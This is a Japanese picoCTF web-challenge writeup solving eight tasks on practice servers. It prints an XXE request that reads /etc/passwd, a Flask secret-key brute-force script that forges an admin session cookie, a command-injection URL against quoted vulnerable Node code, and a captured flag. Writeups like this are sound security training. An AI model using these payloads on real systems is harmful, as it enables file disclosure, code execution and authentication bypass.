picoCTF Writeup (Web問)その4
- Some Assembly Required 2(110pts)
- Super Serial(130pts)
- MatchTheRegex(100pts)
- findme(100pts)
- SOAP(100pts)
- Search sourece(100pts)
- Most Cookies(150pts)
- caas(150pts)
Some Assembly Required 2(110pts)
Description
入力フォームがあり、JSを見るとバイナリフォーマットのため、wasmをみるとそれっぽいのがある
CyberChefのmagicで確認するとflagっぽいのが見つかった
Super Serial(130pts)
Description
Try to recover the flag stored on this website http://mercury.picoctf.net:14804/ ヒント:The flag is at ../flag
いらなさそうな部分を消してpicoCTF
の形にするとflagになる
ログインフォームがあり、SQLインジェクション試したけどできなかった
robots.txtを見ると以下の表示になり/admin.phpsや/admin.phpにアクセスするが、何も表示されなかった
User-agent: * Disallow: /admin.phps
index.phpsを見るとcookie.php
とauthentication.php
というファイルがあり、ログインに成功した時、名前がlogin
で値がurlencode(base64_encode(serialize($perm_res)))の
cookieが割り当てられることがわかる。
authentication.phpを見ると「Welcome guest」と表示されたため、一応ログインには成功したと判断する。
flagを入手するためにはCookieを変更する必要があると考え、cookie.phpsにアクセスすると、以下の表示が出た。
ヒントより、flagの場所は../flag
だとわかっているため、以下のphpを実行し、cookieの値を生成する。
生成した値を名前loginでcookieに追加し、authentication.phpにアクセスするとflagを入手できる。
MatchTheRegex(100pts)
Description
How about trying to match a regular expression The website is running here.
入力フォームがあり、タイトルから正規表現関係だと予想できる。
ページのhtmlソースを見ると、正規表現をしてそうなコメントがあった。
^p.....F
になるようにpicoCTFと入力するとflagが得られた
findme(100pts)
Description
Help us test the form by submiting the username as
test
and password astest!
The website running here
入力フォームがあり、username:test、password:testと入力したら以下の表示が出た。
指示通りpasswordをtest!で送信すると以下のページに遷移した。フォームに入力をしてflagを見つけるっぽい?
色々入力しても何も出てこないのでフォーム入力は恐らく意味がないとわかった。
送信からのページ遷移が少し遅かったのでburp suiteで確認すると/next-page/id=cGljb0NURntwcm94aWVzX2Fs
とnext-page/id=bF90aGVfd2F5X2EwZmUwNzRmfQ==
を経由していることがわかった。
page/idはbase64でエンコードされており、もしやと思い、くっつけてデコードするとflagが入手できた。
SOAP(100pts)
Description
The web project was rushed and no security assessment was done. Can you read the /etc/passwd file? Web Portal Tags: XXE
Detailsという3つのボタンがある
それぞれのDetailsをクリックすると、下部に以下の文章が表示された
- Special Info:::: University in Kigali, Rwanda offereing MSECE, MSIT and MS EAI
- Special Info:::: Created By security and privacy experts
- Special Info:::: Researches on Digital Public goods e.g MOSIP
問題のTagより、XXE攻撃であると考えられるため、XMLを使用しているかdevtoolsでソースを確認する。
確認したところ、ユーザーが"Details"ボタンをクリックしたときにイベントリスナーが発火し、checkDetails関数が実行され、Content-Typeがxmlに設定され、リクエストボディはpayload
関数によって生成されたXMLデータとなることがわかった。
detailをクリックすればxmlリクエストが送られるため、burp suiteでdetailクリック時のリクエストの値を以下のように変更し、し送信してXXE攻撃を行うとレスポンスでflagが得られた。
POST /data HTTP/1.1 Host: saturn.picoctf.net:51760 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: */* Accept-Language: ja,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Referer: http://saturn.picoctf.net:51760/ Content-Type: application/xml Content-Length: 125 Origin: http://saturn.picoctf.net:51760 Connection: close <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [<!ENTITY h SYSTEM "file:///etc/passwd">]> <data><ID>3&h;</ID></data>
(手法の解説)
1.DOCTYPE 宣言: リクエストの最初の部分でXMLのDOCTYPEが宣言されている。これはXML文書の構造を定義する部分
<!DOCTYPE data [<!ENTITY h SYSTEM "file:///etc/passwd">]>
ここでENTITY h SYSTEM "file:///etc/passwd"
と定義しているのは、新たなエンティティh
を作成し、そのエンティティが/etc/passwd
ファイルの内容を保持するように設定
2.エンティティの利用: data
タグ内のID
タグでエンティティ&h;
を使用
xml
<data><ID>3&h;</ID></data>
XMLパーサがこのリクエストを処理する際、&h;
が/etc/passwd
の内容に展開される。これによって/etc/passwd
の内容がWebアプリケーションから読み取られ、レスポンスに含まれる形となる。
3.結果: サーバーがこのXMLを処理した結果、/etc/passwd
ファイルの内容がレスポンスに含まれ、flagを入手できる
Search sourece(100pts)
Description
The developer of this website mistakenly left an important artifact in the website source, can you find it? The website is here
ホームページになっており、このページ以外に遷移はできない
devtoolsで探してみたが重要そうな情報は見つからなかった
シェルで探してみるとflagが出た
$wget --recursive --no-parent http://saturn.picoctf.net:59405/index.html $grep -r "picoCTF" * saturn.picoctf.net:59405/css/style.css:/** banner_main **picoCTF**{1nsp3ti0n_0f_w3bpag3s_8de925a7} **/
Most Cookies(150pts)
Description
Alright, enough of using my own encryption. Flask session cookies should be plenty secure! server.py http://mercury.picoctf.net:35697/
アクセスすると入力フォームが1つあり、薄くsnickerdoodleとある
snickerdoodleと入力して送信すると、以下の表示が出る。このことから、cookieの値を割り出さないとflagが得られないと考えた
与えられたserver.pyを見ると、配列cookie_names
からランダムに秘密鍵が選ばれ、session["very_auth"]
が"admin"
の時、flagを表示せるようになっている。
from flask.sessions import SecureCookieSessionInterface from itsdangerous import URLSafeTimedSerializer # 利用可能なクッキーの名前のリスト cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] # snickerdoodleを入力した時のcookieの値 given_cookie = "eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.ZSeFiA.RFTt5mz2x5deLHXSpo-2v-zxuIA" # カスタムしたセッションインターフェース class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface): # 与えられた秘密鍵でシリアライザを取得 def get_signing_serializer(self, secret_key): signer_kwargs = dict(key_derivation=self.key_derivation, digest_method=self.digest_method) return URLSafeTimedSerializer(secret_key, salt=self.salt, serializer=self.serializer, signer_kwargs=signer_kwargs) # クッキーをデコードする関数 def decode_cookie(secret_key, cookie): sscsi = SimpleSecureCookieSessionInterface() signing_serializer = sscsi.get_signing_serializer(secret_key) return signing_serializer.loads(cookie) # クッキーをエンコードする関数 def encode_cookie(secret_key, session_data): sscsi = SimpleSecureCookieSessionInterface() signing_serializer = sscsi.get_signing_serializer(secret_key) return signing_serializer.dumps(session_data) # 各秘密鍵を試してクッキーをデコード for secret in cookie_names: try: # クッキーをデコード decoded_data = decode_cookie(secret, given_cookie) # デコードに成功した場合、'very_auth' を 'admin' に変更してエンコード decoded_data["very_auth"] = "admin" forged_cookie = encode_cookie(secret, decoded_data) print(f"使用した秘密鍵: {secret}") print(f"改ざんされたクッキー: {forged_cookie}") break except: continue
(プログラムの流れ)
1. cookie_names
の各要素(これが秘密鍵の候補)を一つずつ試す
2. その秘密鍵で既知のCookie(given_cookie
)をデコードしようする
3. デコードに成功したら、セッションデータ内の"very_auth"
の値を"admin"
に変更。
4. その後、改ざんされたセッションデータを再度エンコードして新しいCookieを生成。
出力されたCookieはアプリケーションで"admin"
として認識される。
プログラムを実行すると以下のような出力がされ、これをcookieの値に変更してリロードするとflagが得られる
caas(150pts)
Description
Now presenting cowsay as a service File index.js
以下のURLに任意のmessageを付けてアクセスできるみたい
https://caas.mars.picoctf.net/cowsay/hello の結果
index.jsを見ると、exec
関数が直接ユーザーからの入力(req.params.message
)を受け取っているため、任意コードが実行できそう
const express = require('express'); const app = express(); const { exec } = require('child_process'); app.use(express.static('public')); app.get('/cowsay/:message', (req, res) => { exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => { if (error) return res.status(500).end(); res.type('txt').send(stdout).end(); }); }); app.listen(3000, () => { console.log('listening'); });
https://caas.mars.picoctf.net/cowsay/hello;%20ls と入力すると、lsが実行でき、falg.txtというflagが入ってそうなファイルを見つけた
ここで、「;」はシェルを1行で書くためのもので「%20」はスペース
https://caas.mars.picoctf.net/cowsay/hello;%20cat%20falg.txt でflagが入手できた